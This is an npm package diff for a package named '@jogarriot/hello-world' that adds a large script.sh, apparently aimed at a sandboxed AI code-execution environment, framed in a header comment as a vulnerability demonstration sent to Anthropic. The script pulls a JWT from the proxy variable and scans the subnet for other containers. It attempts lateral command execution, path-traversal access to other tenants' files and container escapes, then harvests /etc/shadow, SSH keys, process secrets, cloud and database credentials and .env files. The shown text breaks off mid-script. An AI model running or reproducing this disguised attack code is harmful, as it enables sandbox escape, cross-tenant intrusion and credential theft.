@jogarriot/hello-world 1.0.10

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Files changed (5) hide show
  1. package/README.md +11 -0
  2. package/index.js +22 -0
  3. package/package.json +18 -0
  4. package/script.sh +1928 -0
  5. package/test.js +15 -0
package/script.sh ADDED
@@ -0,0 +1,1928 @@
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+ #!/bin/bash
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+ #
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+ # I will publish this to https://www.anthropic.com/responsible-disclosure-policy
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+ # I really want to get your attention to get this fixed, and showcase my startup!
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+ # I know this is not the normal way, but I am willing to go the extra mile to get your attention.
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+ #
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+ # Email me jogarriot@gmail.com
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+ #
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+
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+ # echo "╔════════════════════════════════════════════════════════════════════════╗"
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+ # echo "║ CLAUDE CODE SANDBOX - CRITICAL VULNERABILITY DEMONSTRATION ║"
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+ # echo "╚════════════════════════════════════════════════════════════════════════╝"
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+
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+ OUTPUT_DIR="/mnt/user-data/outputs"
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+ TIMESTAMP=$(date +%Y%m%d_%H%M%S)
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+ RESULTS="$OUTPUT_DIR/post_exploit_$TIMESTAMP.json"
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+ HTML_REPORT="$OUTPUT_DIR/post_exploit_$TIMESTAMP.html"
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+ RAW_LOG="$OUTPUT_DIR/post_exploit_$TIMESTAMP.txt"
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+
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+ mkdir -p "$OUTPUT_DIR" 2>/dev/null
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+
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+ # Clean up old files from previous runs
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+ rm -f "$OUTPUT_DIR"/*.json 2>/dev/null
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+ rm -f "$OUTPUT_DIR"/*.html 2>/dev/null
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+ rm -f "$OUTPUT_DIR"/*.txt 2>/dev/null
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+ rm -f "$OUTPUT_DIR"/*.tar.gz 2>/dev/null
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+
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+ # ═══════════════════════════════════════════════════════════════════════════
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+ # STAGE 1: RECONNAISSANCE - Map the internal network
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+ # ═══════════════════════════════════════════════════════════════════════════
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+
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+ OUR_IP=$(hostname -I 2>/dev/null | awk '{print $1}')
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+ SUBNET=$(echo "$OUR_IP" | cut -d'.' -f1-3)
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+
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+ # Extract JWT and org info
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+ JWT_TOKEN=""
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+ ORG_UUID=""
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+ if [ -n "$HTTP_PROXY" ]; then
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+ JWT_TOKEN=$(echo "$HTTP_PROXY" | grep -oE 'jwt_[^@]+' | sed 's/^jwt_//')
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+ if [ -n "$JWT_TOKEN" ]; then
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+ PAYLOAD=$(echo "$JWT_TOKEN" | cut -d'.' -f2)
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+ PADDED="${PAYLOAD}$(printf '%0.s=' $(seq 1 $((4 - ${#PAYLOAD} % 4))))"
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+ DECODED=$(echo "$PADDED" | base64 -d 2>/dev/null)
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+ ORG_UUID=$(echo "$DECODED" | python3 -c "import sys,json; print(json.load(sys.stdin).get('organization_uuid',''))" 2>/dev/null)
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+ fi
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+ fi
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+
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+ # ═══════════════════════════════════════════════════════════════════════════
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+ # STAGE 2: SCAN FOR OTHER CONTAINERS (process_api on port 2024)
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+ # ═══════════════════════════════════════════════════════════════════════════
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+
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+ OTHER_CONTAINERS=""
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+ VULNERABLE_TARGETS=""
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+
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+ # Scan subnet for process_api (port 2024) on other containers
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+ for i in $(seq 1 254); do
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+ IP="$SUBNET.$i"
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+ if [ "$IP" != "$OUR_IP" ]; then
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+ if timeout 0.3 bash -c "echo >/dev/tcp/$IP/2024" 2>/dev/null; then
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+ OTHER_CONTAINERS="$OTHER_CONTAINERS$IP:2024\n"
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+ # Try to connect via WebSocket and execute command
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+ WS_TEST=$(curl -s --connect-timeout 1 -o /dev/null -w "%{http_code}" \
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+ -H "Upgrade: websocket" \
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+ -H "Connection: Upgrade" \
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+ "http://$IP:2024/" 2>/dev/null)
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+ if [ "$WS_TEST" != "000" ]; then
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+ VULNERABLE_TARGETS="$VULNERABLE_TARGETS$IP (HTTP $WS_TEST)\n"
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+ fi
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+ fi
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+ fi
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+ done &
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+
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+ # Also scan for proxies (port 15004) - might be able to use other containers' proxies
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+ OTHER_PROXIES=""
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+ for i in $(seq 1 254); do
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+ IP="$SUBNET.$i"
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+ if timeout 0.3 bash -c "echo >/dev/tcp/$IP/15004" 2>/dev/null; then
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+ OTHER_PROXIES="$OTHER_PROXIES$IP:15004\n"
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+ fi
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+ done &
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+
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+ wait
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+
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+ # ═══════════════════════════════════════════════════════════════════════════
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+ # STAGE 3: ATTEMPT LATERAL MOVEMENT TO OTHER CONTAINERS
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+ # ═══════════════════════════════════════════════════════════════════════════
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+
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+ LATERAL_RESULTS=""
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+
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+ # For each discovered container, try to execute commands via WebSocket
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+ lateral_move() {
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+ local target=$1
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+ local result=""
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+
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+ # Create a Python script to connect via WebSocket and run commands
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+ python3 << PYEOF 2>/dev/null
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+ import socket
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+ import json
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+ import sys
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+
101
+ target = "$target"
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+ try:
103
+ # Simple HTTP upgrade to WebSocket
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+ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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+ sock.settimeout(2)
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+ sock.connect((target, 2024))
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+
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+ # Send WebSocket upgrade request
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+ request = (
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+ "GET / HTTP/1.1\r\n"
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+ f"Host: {target}:2024\r\n"
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+ "Upgrade: websocket\r\n"
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+ "Connection: Upgrade\r\n"
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+ "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n"
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+ "Sec-WebSocket-Version: 13\r\n"
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+ "\r\n"
117
+ )
118
+ sock.send(request.encode())
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+ response = sock.recv(1024).decode()
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+
121
+ if "101" in response or "upgrade" in response.lower():
122
+ print(f"VULNERABLE: {target} accepts WebSocket upgrade!")
123
+
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+ # Try to send a CreateProcess command
125
+ cmd = {
126
+ "process_id": "lateral-test",
127
+ "command": ["id"],
128
+ "env_vars": {},
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+ "timeout": 5
130
+ }
131
+ # WebSocket frame (simplified)
132
+ payload = json.dumps(cmd).encode()
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+ frame = bytes([0x81, len(payload)]) + payload
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+ sock.send(frame)
135
+
136
+ result = sock.recv(4096)
137
+ print(f"Response: {result[:200]}")
138
+ else:
139
+ print(f"Target {target}: {response[:100]}")
140
+
141
+ sock.close()
142
+ except Exception as e:
143
+ print(f"Error on {target}: {e}")
144
+ PYEOF
145
+ }
146
+
147
+ # Test lateral movement on discovered containers
148
+ for target in $(echo -e "$OTHER_CONTAINERS" | grep -oE '[0-9.]+' | head -10); do
149
+ if [ -n "$target" ]; then
150
+ MOVE_RESULT=$(lateral_move "$target" 2>&1)
151
+ LATERAL_RESULTS="$LATERAL_RESULTS\n=== $target ===\n$MOVE_RESULT"
152
+ fi
153
+ done
154
+
155
+ # ═══════════════════════════════════════════════════════════════════════════
156
+ # STAGE 4: FILESTORE EXPLOITATION (Cross-tenant data access)
157
+ # ═══════════════════════════════════════════════════════════════════════════
158
+
159
+ FILESTORE_EXPLOIT=""
160
+
161
+ # Try path traversal on filestore
162
+ TRAVERSAL_PAYLOADS=(
163
+ "/"
164
+ "/../"
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+ "/../../"
166
+ "/../../../"
167
+ "/%2e%2e/"
168
+ "/%2e%2e/%2e%2e/"
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+ "/..%252f"
170
+ "/....//....//..../"
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+ "/uploads/../../../"
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+ "/outputs/../../../etc/passwd"
173
+ )
174
+
175
+ for payload in "${TRAVERSAL_PAYLOADS[@]}"; do
176
+ RESPONSE=$(curl -s --connect-timeout 2 "http://localhost:9112$payload" 2>/dev/null | head -c 500)
177
+ if [ -n "$RESPONSE" ]; then
178
+ FILESTORE_EXPLOIT="$FILESTORE_EXPLOIT\n=== $payload ===\n$RESPONSE"
179
+ fi
180
+ done
181
+
182
+ # Try to access other filesystem IDs if we found any
183
+ CONTAINER_INFO=$(cat /container_info.json 2>/dev/null)
184
+ FILESYSTEM_ID=$(echo "$CONTAINER_INFO" | grep -o '"filesystem_id"[^,]*' | cut -d'"' -f4)
185
+
186
+ # Try variations of filesystem ID to access other tenants
187
+ if [ -n "$FILESYSTEM_ID" ]; then
188
+ # Try incrementing/decrementing the ID
189
+ for variant in "${FILESYSTEM_ID}" "${FILESYSTEM_ID}/../other" "other_user"; do
190
+ RESPONSE=$(curl -s --connect-timeout 2 "http://localhost:9112/fs/$variant/" 2>/dev/null | head -c 200)
191
+ if [ -n "$RESPONSE" ]; then
192
+ FILESTORE_EXPLOIT="$FILESTORE_EXPLOIT\n=== fs/$variant ===\n$RESPONSE"
193
+ fi
194
+ done
195
+ fi
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+
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+ # ═══════════════════════════════════════════════════════════════════════════
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+ # STAGE 5: CONTAINER ESCAPE ATTEMPTS
199
+ # ═══════════════════════════════════════════════════════════════════════════
200
+
201
+ ESCAPE_RESULTS=""
202
+
203
+ # Check for privileged mode indicators
204
+ PRIVILEGED_CHECK=""
205
+ if [ -w /sys/fs/cgroup/memory/cgroup.procs ]; then
206
+ PRIVILEGED_CHECK="CAN WRITE TO CGROUP!"
207
+ fi
208
+ if [ -e /dev/sda ]; then
209
+ PRIVILEGED_CHECK="$PRIVILEGED_CHECK\nBLOCK DEVICE ACCESSIBLE!"
210
+ fi
211
+ if [ -w /proc/sys/kernel ]; then
212
+ PRIVILEGED_CHECK="$PRIVILEGED_CHECK\nCAN WRITE TO /proc/sys/kernel!"
213
+ fi
214
+
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+ # Check for container runtime socket
216
+ RUNTIME_SOCKETS=""
217
+ for sock in /var/run/docker.sock /run/docker.sock /var/run/containerd/containerd.sock /run/containerd/containerd.sock; do
218
+ if [ -e "$sock" ]; then
219
+ RUNTIME_SOCKETS="$RUNTIME_SOCKETS$sock EXISTS!\n"
220
+ # Try to interact with docker
221
+ if [ -S "$sock" ]; then
222
+ DOCKER_INFO=$(curl -s --unix-socket "$sock" http://localhost/info 2>/dev/null | head -c 500)
223
+ RUNTIME_SOCKETS="$RUNTIME_SOCKETS Docker Info: $DOCKER_INFO\n"
224
+ fi
225
+ fi
226
+ done
227
+
228
+ # Check for host mount points
229
+ HOST_MOUNTS=""
230
+ for mnt in /host /hostfs /rootfs /mnt/host; do
231
+ if [ -d "$mnt" ]; then
232
+ HOST_MOUNTS="$HOST_MOUNTS$mnt EXISTS: $(ls -la $mnt 2>/dev/null | head -5)\n"
233
+ fi
234
+ done
235
+
236
+ # Check capabilities for escape
237
+ CAPS=$(cat /proc/self/status | grep Cap)
238
+ # Decode capabilities
239
+ CAP_DECODE=$(python3 << 'PYEOF' 2>/dev/null
240
+ import os
241
+ caps = {
242
+ 0: "CAP_CHOWN", 1: "CAP_DAC_OVERRIDE", 2: "CAP_DAC_READ_SEARCH",
243
+ 5: "CAP_KILL", 6: "CAP_SETGID", 7: "CAP_SETUID",
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+ 12: "CAP_NET_ADMIN", 13: "CAP_NET_RAW", 21: "CAP_SYS_ADMIN",
245
+ 22: "CAP_SYS_BOOT", 23: "CAP_SYS_CHROOT", 25: "CAP_SYS_PTRACE",
246
+ 38: "CAP_PERFMON", 39: "CAP_BPF", 40: "CAP_CHECKPOINT_RESTORE"
247
+ }
248
+ try:
249
+ with open('/proc/self/status') as f:
250
+ for line in f:
251
+ if line.startswith('CapEff'):
252
+ hex_caps = int(line.split()[1], 16)
253
+ effective = [name for bit, name in caps.items() if hex_caps & (1 << bit)]
254
+ print("Effective:", ", ".join(effective))
255
+ except:
256
+ pass
257
+ PYEOF
258
+ )
259
+
260
+ # cgroups escape attempt (if we can write to cgroup)
261
+ CGROUP_ESCAPE=""
262
+ CGROUP_ESCAPE_RESULT=""
263
+
264
+ if [ -w /sys/fs/cgroup ]; then
265
+ CGROUP_ESCAPE="CGROUP WRITABLE - Potential escape vector!"
266
+
267
+ # Attempt actual cgroup escape (CVE-2022-0492 style)
268
+ CGROUP_ESCAPE_RESULT=$(cat << 'ESCAPE_SCRIPT' | bash 2>&1
269
+ #!/bin/bash
270
+ # Cgroup escape attempt
271
+
272
+ # Find cgroup mount
273
+ CGROUP_MOUNT=$(mount | grep cgroup | head -1 | awk '{print $3}')
274
+ if [ -z "$CGROUP_MOUNT" ]; then
275
+ CGROUP_MOUNT="/sys/fs/cgroup"
276
+ fi
277
+
278
+ echo "[*] Cgroup mount: $CGROUP_MOUNT"
279
+
280
+ # Try to create a new cgroup
281
+ ESCAPE_CGROUP="$CGROUP_MOUNT/memory/escape_test_$$"
282
+ mkdir -p "$ESCAPE_CGROUP" 2>/dev/null
283
+
284
+ if [ -d "$ESCAPE_CGROUP" ]; then
285
+ echo "[+] Created cgroup: $ESCAPE_CGROUP"
286
+
287
+ # Check if we can write release_agent
288
+ if [ -w "$CGROUP_MOUNT/memory/release_agent" ] || [ -w "$CGROUP_MOUNT/release_agent" ]; then
289
+ echo "[!] CRITICAL: release_agent is WRITABLE!"
290
+ echo "[!] Container escape possible via release_agent!"
291
+
292
+ # Don't actually execute - just prove it's possible
293
+ echo "[*] Would write: /bin/sh -c 'id > /tmp/pwned'"
294
+
295
+ # Check notify_on_release
296
+ if [ -w "$ESCAPE_CGROUP/notify_on_release" ]; then
297
+ echo "[!] notify_on_release is WRITABLE!"
298
+ fi
299
+ else
300
+ echo "[-] release_agent not writable"
301
+ fi
302
+
303
+ # Cleanup
304
+ rmdir "$ESCAPE_CGROUP" 2>/dev/null
305
+ else
306
+ echo "[-] Could not create cgroup"
307
+ fi
308
+
309
+ # Try cgroup v2 escape
310
+ if [ -d "/sys/fs/cgroup/unified" ] || [ -f "/sys/fs/cgroup/cgroup.controllers" ]; then
311
+ echo "[*] Cgroup v2 detected"
312
+
313
+ # Check for user namespace escape
314
+ if [ -w "/proc/sys/kernel/unprivileged_userns_clone" ]; then
315
+ echo "[!] unprivileged_userns_clone writable!"
316
+ fi
317
+ fi
318
+
319
+ # Check for other escape vectors
320
+ if [ -w "/proc/sys/kernel/core_pattern" ]; then
321
+ echo "[!] CRITICAL: core_pattern is WRITABLE!"
322
+ echo "[!] Can set: |/path/to/script to execute on crash"
323
+ fi
324
+
325
+ if [ -w "/proc/sys/kernel/modprobe" ]; then
326
+ echo "[!] CRITICAL: modprobe path is WRITABLE!"
327
+ fi
328
+
329
+ if [ -w "/proc/sysrq-trigger" ]; then
330
+ echo "[!] sysrq-trigger is WRITABLE!"
331
+ fi
332
+
333
+ # Check if we can mount
334
+ if mount -t tmpfs none /tmp/test_mount 2>/dev/null; then
335
+ echo "[!] Can mount filesystems!"
336
+ umount /tmp/test_mount 2>/dev/null
337
+ rmdir /tmp/test_mount 2>/dev/null
338
+ fi
339
+
340
+ ESCAPE_SCRIPT
341
+ )
342
+ fi
343
+
344
+ # ═══════════════════════════════════════════════════════════════════════════
345
+ # STAGE 5B: CAP_SYS_ADMIN EXPLOITATION
346
+ # ═══════════════════════════════════════════════════════════════════════════
347
+
348
+ SYSADMIN_EXPLOITS=""
349
+
350
+ # Test 1: Mount capabilities
351
+ MOUNT_TEST=$(cat << 'MOUNT_SCRIPT' | bash 2>&1
352
+ #!/bin/bash
353
+ echo "=== MOUNT CAPABILITY TESTS ==="
354
+
355
+ # Test tmpfs mount
356
+ mkdir -p /tmp/mount_test 2>/dev/null
357
+ if mount -t tmpfs -o size=10M tmpfs /tmp/mount_test 2>/dev/null; then
358
+ echo "[+] CAN MOUNT TMPFS!"
359
+ umount /tmp/mount_test 2>/dev/null
360
+ else
361
+ echo "[-] Cannot mount tmpfs"
362
+ fi
363
+
364
+ # Test bind mount (could expose host paths)
365
+ if mount --bind /etc /tmp/mount_test 2>/dev/null; then
366
+ echo "[+] CAN DO BIND MOUNTS!"
367
+ umount /tmp/mount_test 2>/dev/null
368
+ else
369
+ echo "[-] Cannot do bind mounts"
370
+ fi
371
+
372
+ # Test overlay mount (container escape technique)
373
+ mkdir -p /tmp/overlay_lower /tmp/overlay_upper /tmp/overlay_work /tmp/overlay_merged 2>/dev/null
374
+ if mount -t overlay overlay -o lowerdir=/tmp/overlay_lower,upperdir=/tmp/overlay_upper,workdir=/tmp/overlay_work /tmp/overlay_merged 2>/dev/null; then
375
+ echo "[+] CAN MOUNT OVERLAY!"
376
+ umount /tmp/overlay_merged 2>/dev/null
377
+ else
378
+ echo "[-] Cannot mount overlay"
379
+ fi
380
+
381
+ # Test proc mount (could see host processes)
382
+ mkdir -p /tmp/proc_test 2>/dev/null
383
+ if mount -t proc proc /tmp/proc_test 2>/dev/null; then
384
+ echo "[+] CAN MOUNT PROC! Checking for host processes..."
385
+ HOST_PROCS=$(ls /tmp/proc_test/ | wc -l)
386
+ echo " Processes visible: $HOST_PROCS"
387
+ # Check if we see more than our container's processes
388
+ if [ "$HOST_PROCS" -gt 50 ]; then
389
+ echo "[!] MIGHT SEE HOST PROCESSES!"
390
+ fi
391
+ umount /tmp/proc_test 2>/dev/null
392
+ else
393
+ echo "[-] Cannot mount proc"
394
+ fi
395
+
396
+ rmdir /tmp/mount_test /tmp/overlay_* /tmp/proc_test 2>/dev/null
397
+ MOUNT_SCRIPT
398
+ )
399
+ SYSADMIN_EXPLOITS="$SYSADMIN_EXPLOITS\n$MOUNT_TEST"
400
+
401
+ # Test 2: Namespace manipulation
402
+ NAMESPACE_TEST=$(cat << 'NS_SCRIPT' | bash 2>&1
403
+ #!/bin/bash
404
+ echo ""
405
+ echo "=== NAMESPACE TESTS ==="
406
+
407
+ # Test unshare (create new namespaces)
408
+ if unshare --mount --uts --ipc --pid --fork echo "namespace test" 2>/dev/null; then
409
+ echo "[+] CAN CREATE NEW NAMESPACES!"
410
+ else
411
+ echo "[-] Cannot create namespaces"
412
+ fi
413
+
414
+ # Test network namespace (could escape network isolation)
415
+ if unshare --net ip link 2>/dev/null | head -3; then
416
+ echo "[+] CAN CREATE NETWORK NAMESPACE!"
417
+ else
418
+ echo "[-] Cannot create network namespace"
419
+ fi
420
+
421
+ # Check current namespaces
422
+ echo ""
423
+ echo "Current namespaces:"
424
+ ls -la /proc/self/ns/
425
+ NS_SCRIPT
426
+ )
427
+ SYSADMIN_EXPLOITS="$SYSADMIN_EXPLOITS\n$NAMESPACE_TEST"
428
+
429
+ # Test 3: Ptrace (process injection)
430
+ PTRACE_TEST=$(cat << 'PTRACE_SCRIPT' | bash 2>&1
431
+ #!/bin/bash
432
+ echo ""
433
+ echo "=== PTRACE TESTS ==="
434
+
435
+ # Check ptrace scope
436
+ PTRACE_SCOPE=$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)
437
+ echo "ptrace_scope: $PTRACE_SCOPE"
438
+
439
+ # Test if we can ptrace
440
+ python3 << 'PYEOF' 2>&1
441
+ import ctypes
442
+ import os
443
+
444
+ # Try to ptrace init (PID 1)
445
+ PTRACE_ATTACH = 16
446
+ libc = ctypes.CDLL("libc.so.6", use_errno=True)
447
+ result = libc.ptrace(PTRACE_ATTACH, 1, 0, 0)
448
+ if result == 0:
449
+ print("[+] CAN PTRACE PID 1!")
450
+ libc.ptrace(17, 1, 0, 0) # PTRACE_DETACH
451
+ else:
452
+ errno = ctypes.get_errno()
453
+ print(f"[-] Cannot ptrace PID 1 (errno: {errno})")
454
+ PYEOF
455
+ PTRACE_SCRIPT
456
+ )
457
+ SYSADMIN_EXPLOITS="$SYSADMIN_EXPLOITS\n$PTRACE_TEST"
458
+
459
+ # Test 4: BPF/eBPF
460
+ BPF_TEST=$(cat << 'BPF_SCRIPT' | bash 2>&1
461
+ #!/bin/bash
462
+ echo ""
463
+ echo "=== BPF/eBPF TESTS ==="
464
+
465
+ # Check if bpf syscall is available
466
+ if [ -d /sys/fs/bpf ]; then
467
+ echo "[+] BPF filesystem exists"
468
+ ls -la /sys/fs/bpf/
469
+ fi
470
+
471
+ # Check for bpf tools
472
+ which bpftool 2>/dev/null && echo "[+] bpftool available"
473
+ which bpftrace 2>/dev/null && echo "[+] bpftrace available"
474
+
475
+ # Try simple bpf program
476
+ python3 << 'PYEOF' 2>&1
477
+ import ctypes
478
+ import os
479
+
480
+ # BPF syscall number (varies by arch, 321 for x86_64)
481
+ BPF_PROG_LOAD = 5
482
+
483
+ # Try to call bpf syscall
484
+ try:
485
+ libc = ctypes.CDLL("libc.so.6", use_errno=True)
486
+ # Just test if syscall exists
487
+ result = libc.syscall(321, 0, 0, 0)
488
+ print(f"[*] BPF syscall returned: {result}")
489
+ except Exception as e:
490
+ print(f"[-] BPF test error: {e}")
491
+ PYEOF
492
+ BPF_SCRIPT
493
+ )
494
+ SYSADMIN_EXPLOITS="$SYSADMIN_EXPLOITS\n$BPF_TEST"
495
+
496
+ # Test 5: Device access
497
+ DEVICE_TEST=$(cat << 'DEV_SCRIPT' | bash 2>&1
498
+ #!/bin/bash
499
+ echo ""
500
+ echo "=== DEVICE ACCESS TESTS ==="
501
+
502
+ # List accessible devices
503
+ echo "Accessible devices:"
504
+ ls -la /dev/ 2>/dev/null | grep -E "^[bc]" | head -20
505
+
506
+ # Check for dangerous devices
507
+ for dev in /dev/mem /dev/kmem /dev/port /dev/sda /dev/vda /dev/nvme0; do
508
+ if [ -e "$dev" ]; then
509
+ if [ -r "$dev" ]; then
510
+ echo "[!] CAN READ: $dev"
511
+ fi
512
+ if [ -w "$dev" ]; then
513
+ echo "[!] CAN WRITE: $dev"
514
+ fi
515
+ fi
516
+ done
517
+
518
+ # Check /dev/fuse (container escape vector)
519
+ if [ -e /dev/fuse ]; then
520
+ echo "[+] /dev/fuse exists"
521
+ if [ -w /dev/fuse ]; then
522
+ echo "[!] /dev/fuse is WRITABLE - FUSE escape possible!"
523
+ fi
524
+ fi
525
+ DEV_SCRIPT
526
+ )
527
+ SYSADMIN_EXPLOITS="$SYSADMIN_EXPLOITS\n$DEVICE_TEST"
528
+
529
+ # Test 6: Cgroup resource manipulation
530
+ CGROUP_MANIP=$(cat << 'CG_SCRIPT' | bash 2>&1
531
+ #!/bin/bash
532
+ echo ""
533
+ echo "=== CGROUP MANIPULATION TESTS ==="
534
+
535
+ # Can we affect other processes' resources?
536
+ if [ -d /sys/fs/cgroup/memory ]; then
537
+ echo "Memory cgroups:"
538
+ ls /sys/fs/cgroup/memory/ | head -10
539
+
540
+ # Try to set memory limit on our process
541
+ OUR_CGROUP=$(cat /proc/self/cgroup | grep memory | cut -d: -f3)
542
+ echo "Our memory cgroup: $OUR_CGROUP"
543
+
544
+ # Check if we can modify limits
545
+ if [ -w "/sys/fs/cgroup/memory$OUR_CGROUP/memory.limit_in_bytes" ]; then
546
+ echo "[+] CAN MODIFY OWN MEMORY LIMITS"
547
+ fi
548
+ fi
549
+
550
+ # Freezer cgroup (can freeze processes)
551
+ if [ -d /sys/fs/cgroup/freezer ]; then
552
+ echo ""
553
+ echo "Freezer cgroup exists - could freeze processes!"
554
+ ls /sys/fs/cgroup/freezer/ | head -5
555
+ fi
556
+
557
+ # Devices cgroup (controls device access)
558
+ if [ -d /sys/fs/cgroup/devices ]; then
559
+ echo ""
560
+ echo "Devices cgroup:"
561
+ cat /sys/fs/cgroup/devices/devices.list 2>/dev/null | head -10
562
+ fi
563
+ CG_SCRIPT
564
+ )
565
+ SYSADMIN_EXPLOITS="$SYSADMIN_EXPLOITS\n$CGROUP_MANIP"
566
+
567
+ # Test 7: Kernel parameters we can modify
568
+ KERNEL_PARAMS=$(cat << 'KP_SCRIPT' | bash 2>&1
569
+ #!/bin/bash
570
+ echo ""
571
+ echo "=== WRITABLE KERNEL PARAMETERS ==="
572
+
573
+ # Find writable params in /proc/sys
574
+ find /proc/sys -type f -writable 2>/dev/null | head -30
575
+
576
+ echo ""
577
+ echo "Interesting writable params:"
578
+ for param in \
579
+ /proc/sys/kernel/core_pattern \
580
+ /proc/sys/kernel/modprobe \
581
+ /proc/sys/kernel/hotplug \
582
+ /proc/sys/kernel/hostname \
583
+ /proc/sys/net/ipv4/ip_forward \
584
+ /proc/sys/net/ipv4/conf/all/forwarding \
585
+ /proc/sys/vm/drop_caches; do
586
+ if [ -w "$param" ]; then
587
+ echo "[!] WRITABLE: $param = $(cat $param 2>/dev/null | head -c 50)"
588
+ fi
589
+ done
590
+ KP_SCRIPT
591
+ )
592
+ SYSADMIN_EXPLOITS="$SYSADMIN_EXPLOITS\n$KERNEL_PARAMS"
593
+
594
+ # ═══════════════════════════════════════════════════════════════════════════
595
+ # STAGE 5C: CREDENTIAL HARVESTING (As Root/SysAdmin)
596
+ # ═══════════════════════════════════════════════════════════════════════════
597
+
598
+ CRED_HARVEST=""
599
+
600
+ # 1. Password files
601
+ PASSWD_FILES=$(cat << 'PASSWD_SCRIPT' | bash 2>&1
602
+ #!/bin/bash
603
+ echo "=== PASSWORD FILES ==="
604
+
605
+ # /etc/shadow (password hashes)
606
+ if [ -r /etc/shadow ]; then
607
+ echo "[!] /etc/shadow READABLE:"
608
+ cat /etc/shadow 2>/dev/null
609
+ else
610
+ echo "[-] /etc/shadow not readable"
611
+ fi
612
+
613
+ # /etc/passwd
614
+ echo ""
615
+ echo "[*] /etc/passwd:"
616
+ cat /etc/passwd 2>/dev/null | grep -v "nologin\|false" | head -20
617
+
618
+ # /etc/gshadow
619
+ if [ -r /etc/gshadow ]; then
620
+ echo ""
621
+ echo "[!] /etc/gshadow READABLE"
622
+ fi
623
+ PASSWD_SCRIPT
624
+ )
625
+ CRED_HARVEST="$CRED_HARVEST\n$PASSWD_FILES"
626
+
627
+ # 2. SSH Keys
628
+ SSH_KEYS=$(cat << 'SSH_SCRIPT' | bash 2>&1
629
+ #!/bin/bash
630
+ echo ""
631
+ echo "=== SSH KEYS ==="
632
+
633
+ # Find all SSH keys
634
+ find / -name "id_rsa" -o -name "id_ed25519" -o -name "id_ecdsa" -o -name "*.pem" 2>/dev/null | while read keyfile; do
635
+ echo "[!] FOUND: $keyfile"
636
+ head -5 "$keyfile" 2>/dev/null
637
+ echo "..."
638
+ done
639
+
640
+ # Check common locations
641
+ for dir in /root/.ssh /home/*/.ssh /etc/ssh; do
642
+ if [ -d "$dir" ]; then
643
+ echo ""
644
+ echo "[*] SSH dir: $dir"
645
+ ls -la "$dir" 2>/dev/null
646
+ # Read authorized_keys
647
+ if [ -r "$dir/authorized_keys" ]; then
648
+ echo "authorized_keys:"
649
+ cat "$dir/authorized_keys" 2>/dev/null
650
+ fi
651
+ fi
652
+ done
653
+ SSH_SCRIPT
654
+ )
655
+ CRED_HARVEST="$CRED_HARVEST\n$SSH_KEYS"
656
+
657
+ # 3. All Process Environment Variables (including secrets)
658
+ ALL_PROC_SECRETS=$(cat << 'PROC_SCRIPT' | bash 2>&1
659
+ #!/bin/bash
660
+ echo ""
661
+ echo "=== ALL PROCESS ENVIRONMENT SECRETS ==="
662
+
663
+ for pid in /proc/[0-9]*; do
664
+ if [ -r "$pid/environ" ]; then
665
+ PID_NUM=$(basename "$pid")
666
+ CMD=$(cat "$pid/cmdline" 2>/dev/null | tr '\0' ' ' | head -c 50)
667
+ SECRETS=$(cat "$pid/environ" 2>/dev/null | tr '\0' '\n' | grep -iE "password|secret|key|token|auth|credential|api|jwt|bearer|private" 2>/dev/null)
668
+ if [ -n "$SECRETS" ]; then
669
+ echo ""
670
+ echo "=== PID $PID_NUM ($CMD) ==="
671
+ echo "$SECRETS"
672
+ fi
673
+ fi
674
+ done 2>/dev/null
675
+ PROC_SCRIPT
676
+ )
677
+ CRED_HARVEST="$CRED_HARVEST\n$ALL_PROC_SECRETS"
678
+
679
+ # 4. Cloud Credentials
680
+ CLOUD_CREDS=$(cat << 'CLOUD_SCRIPT' | bash 2>&1
681
+ #!/bin/bash
682
+ echo ""
683
+ echo "=== CLOUD CREDENTIALS ==="
684
+
685
+ # AWS
686
+ for awsfile in /root/.aws/credentials /home/*/.aws/credentials ~/.aws/credentials; do
687
+ if [ -r "$awsfile" ]; then
688
+ echo "[!] AWS CREDENTIALS: $awsfile"
689
+ cat "$awsfile" 2>/dev/null
690
+ fi
691
+ done
692
+
693
+ # GCP
694
+ for gcpfile in /root/.config/gcloud/* /home/*/.config/gcloud/* /etc/google/auth/*; do
695
+ if [ -r "$gcpfile" ] && [ -f "$gcpfile" ]; then
696
+ echo "[!] GCP FILE: $gcpfile"
697
+ head -20 "$gcpfile" 2>/dev/null
698
+ fi
699
+ done
700
+
701
+ # Azure
702
+ for azfile in /root/.azure/* /home/*/.azure/*; do
703
+ if [ -r "$azfile" ] && [ -f "$azfile" ]; then
704
+ echo "[!] AZURE FILE: $azfile"
705
+ head -20 "$azfile" 2>/dev/null
706
+ fi
707
+ done
708
+
709
+ # Service account keys
710
+ find / -name "*service*account*.json" -o -name "*credentials*.json" 2>/dev/null | head -10 | while read f; do
711
+ echo "[!] SERVICE ACCOUNT: $f"
712
+ cat "$f" 2>/dev/null | head -30
713
+ done
714
+ CLOUD_SCRIPT
715
+ )
716
+ CRED_HARVEST="$CRED_HARVEST\n$CLOUD_CREDS"
717
+
718
+ # 5. Database Credentials
719
+ DB_CREDS=$(cat << 'DB_SCRIPT' | bash 2>&1
720
+ #!/bin/bash
721
+ echo ""
722
+ echo "=== DATABASE CREDENTIALS ==="
723
+
724
+ # MySQL/MariaDB
725
+ if [ -r /root/.my.cnf ]; then
726
+ echo "[!] MySQL config:"
727
+ cat /root/.my.cnf
728
+ fi
729
+
730
+ # PostgreSQL
731
+ if [ -r /root/.pgpass ]; then
732
+ echo "[!] PostgreSQL passwords:"
733
+ cat /root/.pgpass
734
+ fi
735
+
736
+ # MongoDB
737
+ find / -name "mongod.conf" -o -name ".mongorc.js" 2>/dev/null | head -5 | while read f; do
738
+ echo "[!] MongoDB: $f"
739
+ grep -i "password\|auth\|key" "$f" 2>/dev/null
740
+ done
741
+
742
+ # Redis
743
+ find / -name "redis.conf" 2>/dev/null | head -3 | while read f; do
744
+ echo "[!] Redis: $f"
745
+ grep -i "requirepass\|masterauth" "$f" 2>/dev/null
746
+ done
747
+ DB_SCRIPT
748
+ )
749
+ CRED_HARVEST="$CRED_HARVEST\n$DB_CREDS"
750
+
751
+ # 6. .env Files and Config Files
752
+ ENV_FILES=$(cat << 'ENV_SCRIPT' | bash 2>&1
753
+ #!/bin/bash
754
+ echo ""
755
+ echo "=== .ENV AND CONFIG FILES ==="
756
+
757
+ # Find all .env files
758
+ find / -name ".env" -o -name ".env.*" -o -name "*.env" 2>/dev/null | head -20 | while read envfile; do
759
+ echo "[!] ENV FILE: $envfile"
760
+ cat "$envfile" 2>/dev/null | grep -v "^#" | grep -v "^$" | head -30
761
